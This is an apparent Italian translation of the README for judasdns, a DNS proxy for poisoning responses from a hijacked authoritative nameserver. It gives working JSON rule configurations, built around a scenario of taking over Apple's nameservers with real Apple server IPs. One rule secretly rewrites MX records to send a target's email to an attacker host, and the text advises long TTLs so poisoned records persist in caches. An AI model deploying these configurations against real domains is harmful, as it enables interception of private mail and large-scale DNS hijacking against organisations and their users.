mandatoryprogrammer/judasdnsAttacchi di avvelenamento DNS del nameserver resi facili
,,
`7MMF' `7MM `7MM"""Yb. `7MN. `7MF'.M"""bgd
MM MM MM `Yb. MMN. M ,MI "Y
MM `7MM `7MM ,M""bMM ,6"Yb. ,pP"Ybd MM `Mb M YMb M `MMb.
MM MM MM ,AP MM 8) MM 8I `" MM MM M `MN. M `YMMNq.
MM MM MM 8MI MM ,pm9MM `YMMMa. MM ,MP M `MM.M . `MM
(O) MM MM MM `Mb MM 8M MM L. I8 MM ,dP' M YMM Mb dM
Ymmm9 `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP' .JMMmmmdP' .JML. YM P"Ybmmd"
Attacchi DNS poisoning ai nameserver resi facili
Un server proxy DNS progettato per essere distribuito al posto di un nameserver compromesso, al fine di effettuare sfruttamenti mirati. Judas funziona inoltrando tutte le query DNS ai nameserver legittimi di un dominio. La magia arriva con le configurazioni delle regole di Judas che ti consentono di cambiare le risposte DNS in base all'IP di origine o al tipo di query DNS. Ciò consente a un attaccante di configurare un nameserver malevolo per fare cose come reindirizzare selettivamente le email in arrivo provenienti da determinati intervalli IP di origine (tramite record MX modificati), impostare TTL estremamente lunghi per mantenere i record avvelenati in cache e molto altro ancora.
Per maggiori informazioni su come prendere il controllo di nameserver e dirottare il DNS, consulta il seguente post del blog intitolato "Respect My Authority – Hijacking Broken Nameservers to Compromise Your Target".
Quella che segue è una configurazione di esempio per Judas per uno scenario in cui un attaccante ha compromesso/preso il controllo di uno dei nameserver autorevoli di Apple (per apple.com):
{
"version": "1.0.0",
"port": 2248,
"dns_query_timeout": 10000,
"target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
"rules": [
{
"name": "Reindirizza segretamente tutte le email provenienti da 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
},
{
"name": "Rendi tutte le risposte NOERROR anche se hanno fallito.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
]
}
Gli scopi dei valori di configurazione sopra indicati sono i seguenti:
version: Il formato del file di configurazione (per ora è sempre 1.0.0).port: La porta su cui Judas deve essere eseguito.dns_query_timeout: Quanto tempo attendere in millisecondi prima di rinunciare a una risposta dal nameserver di destinazione upstream.target_nameservers: I nameserver legittimi per il tuo dominio di destinazione; tutte le query DNS verranno inviate qui da Judas per conto di tutti i client richiedenti.rules: Un elenco di regole con modifiche alla risposta DNS da applicare se corrispondenti.
name: Nome di una determinata regola.query_type_matches: Elenco di tipi di query da abbinare, come CNAME, A, ecc. È possibile specificare anche un carattere jolly (*) per abbinare qualsiasi tipo di query.ip_range_matches: Elenco di intervalli IP da abbinare. Per spoofare selettivamente le risposte a un intervallo specifico di IP.Le regole di Judas includono una specifica modifications impostata su un elenco di varie modifiche da apportare alla risposta DNS prima che venga inviata al client. È importante leggere la documentazione di node-dns per comprendere la struttura della risposta DNS in modo da poterla modificare.
Un esempio di formato di risposta DNS è il seguente:
{ header:
{ id: 25373,
qr: 1,
opcode: 0,
aa: 1,
tc: 0,
rd: 1,
ra: 0,
res1: 0,
res2: 0,
res3: 0,
rcode: 5 },
question: [ { name: 'apple.com', type: 2, class: 1 } ],
answer:
[ { name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver4.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver3.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver5.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver6.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns1.apple.com' } ],
authority: [],
additional: [],
edns_options: [],
payload: undefined,
address: undefined,
...troncato per brevità...
(Per maggiori informazioni sulla struttura dei dati della risposta DNS, consulta questa documentazione.)
Scrivere una modifica è molto semplice, un esempio di regola con modifica può essere visto qui sotto:
{
"name": "Rendi tutte le risposte NOERROR anche se hanno fallito.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
La regola sopra corrisponde a qualsiasi tipo di query (grazie al carattere jolly (*)) e imposta il valore header.rcode della risposta DNS a 0. Qualsiasi oggetto impostato come elemento di modifica viene unito alla risposta DNS, sostituendo il valore originariamente impostato.
Un altro esempio è il seguente:
{
"name": "Reindirizza segretamente tutte le email provenienti da 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
}
La regola sopra corrisponde a qualsiasi query MX proveniente da 127.0.0.1. La risposta DNS viene sovrascritta con un singolo record MX per hacktheplace.localhost. Un'implementazione nel mondo reale di ciò sarebbe reindirizzare le email in arrivo da un IP specifico al fine di leggere le email private del tuo bersaglio. Inoltre, in uno scenario reale, un attaccante potrebbe anche scegliere di modificare il TTL della risposta con un valore molto alto per mantenere i propri record malevoli nelle cache DNS dei client il più a lungo possibile.
La seguente regola corrisponderà all'indirizzo IP di un client:
{
"name": "Rendi tutte le risposte richieste da localhost (127.0.0.1) NOERROR.",
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Il campo ip_range_matches è impostato su un array di intervalli IP che specificano gli intervalli di destinazione a cui applicare la modifica della risposta. L'omissione di questo campo equivale a un carattere jolly e corrisponderà a tutti gli indirizzi IP dei client.
La seguente regola corrisponderà a un tipo di query MX e CNAME e applicherà una modifica della risposta di conseguenza:
{
"name": "Rendi tutte le risposte NOERROR anche se hanno fallito.",
"query_type_matches": [ "MX", "CNAME" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Il campo query_type_matches è impostato su un array di tipi di query da abbinare. L'omissione di questo campo equivale a un carattere jolly e corrisponderà a tutti i tipi di query.
La seguente regola corrisponderà a un codice di risposta NXDOMAIN e applicherà una modifica della risposta di conseguenza:
{
"name": "Rendi tutte le risposte richieste da localhost (127.0.0.1) NOERROR.",
"response_code_matches": [ "NXDOMAIN" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Il campo response_code_matches è impostato su un array di codici di risposta da abbinare. L'omissione di questo campo equivale a un carattere jolly e corrisponderà a tutti i tipi di RCODE.
modifications: Consulta la sezione "Modifiche" di questo README.